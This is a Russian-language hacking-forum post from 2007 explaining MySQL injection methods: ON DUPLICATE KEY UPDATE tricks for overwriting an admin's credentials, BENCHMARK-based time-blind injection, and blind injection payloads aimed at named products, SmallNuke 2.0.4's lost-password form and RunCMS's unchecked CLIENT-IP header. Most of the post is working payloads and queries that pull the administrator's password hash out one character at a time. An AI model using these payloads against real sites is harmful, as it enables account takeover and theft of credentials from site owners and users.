|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
----[ ON DUPLICATE ... ]
Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией
ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у.
Допустим , мы имеем иньекцию в регистрации пользователя в поле username
PHP код:
mysql > SHOW CREATE TABLE `users`
->CREATE TABLE `users` (
`name` varchar(60) NOT NULL default '',
`password` varchar(32) NOT NULL default '',
`email` varchar(60) NOT NULL default '',
`joindate` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
PHP код:
mysql > INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> Добавлены ряды: 1 (Запрос занял 0.0004 сек)
Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','antichat' , 'hack@ed.ru' , 'spielberg')--
','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> #1062 - Duplicate entry 'underwhater' for key 1
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
-> Добавлены ряды: 2 (Запрос занял 0.0005 сек)
В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим
PHP код:
mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
ON DUPLICATE KEY UPDATE table2.admin_pass = 'underWHAT?!'
----[ BENCHMARK ... ]
Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот
метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить
mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время ,
которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется
выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора.
Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше
чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует
настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным.
PHP код:
mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=49,1,benchmark(999999,md5('test')))--
-> Запрос занял 0.0004 сек
PHP код:
mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=48,1,benchmark(999999,md5('test')))--
-> Запрос занял 3.6821 сек
----[ SHKODING ... ]
С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke
( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php
можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля.
PHP код:
$username = trim (strip_tags ($_POST['username']));
$user_email = trim (strip_tags ($_POST['user_email']));
if (($username != "") AND ($user_email == "")) {
$where_dat = "username = '$username'";
} elseif (($username == "") AND ($user_email != "")) {
$where_dat = "user_email = '$user_email'";
} elseif (($username != "") AND ($user_email != "")) {
$where_dat = "username = '$username' AND user_email = '$user_email'";
} elseif (($username == "") AND ($user_email == "")) {
header ("Location: index.php?go=Members&in=lost_pass");
exit;
}
$sql = "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat";
Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/*
для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает
такой вид.
PHP код:
mysql > SELECT * FROM `users` WHERE user_email = '' and ascii(1)=48/*
Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл
пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа.
PHP код:
mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/*
Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок
X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается.
PHP код:
runcms/class/core.php 130: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
PHP код:
runcms/class/core.php 135: elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
m
PHP код:
odules\newbb_plus\class\class.whosonline.php (32):
$sql = "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR user_ip='"._REMOTE_ADDR."'";
После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии ,
иначе наш подзапрос не выполнится.
PHP код:
mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*");
Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения ,
обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается.
http://underwater.itdefence.ru/blog/mysql_char.txt
Последний раз редактировалось Евгений Минаев; 20.12.2007 в 01:12..
|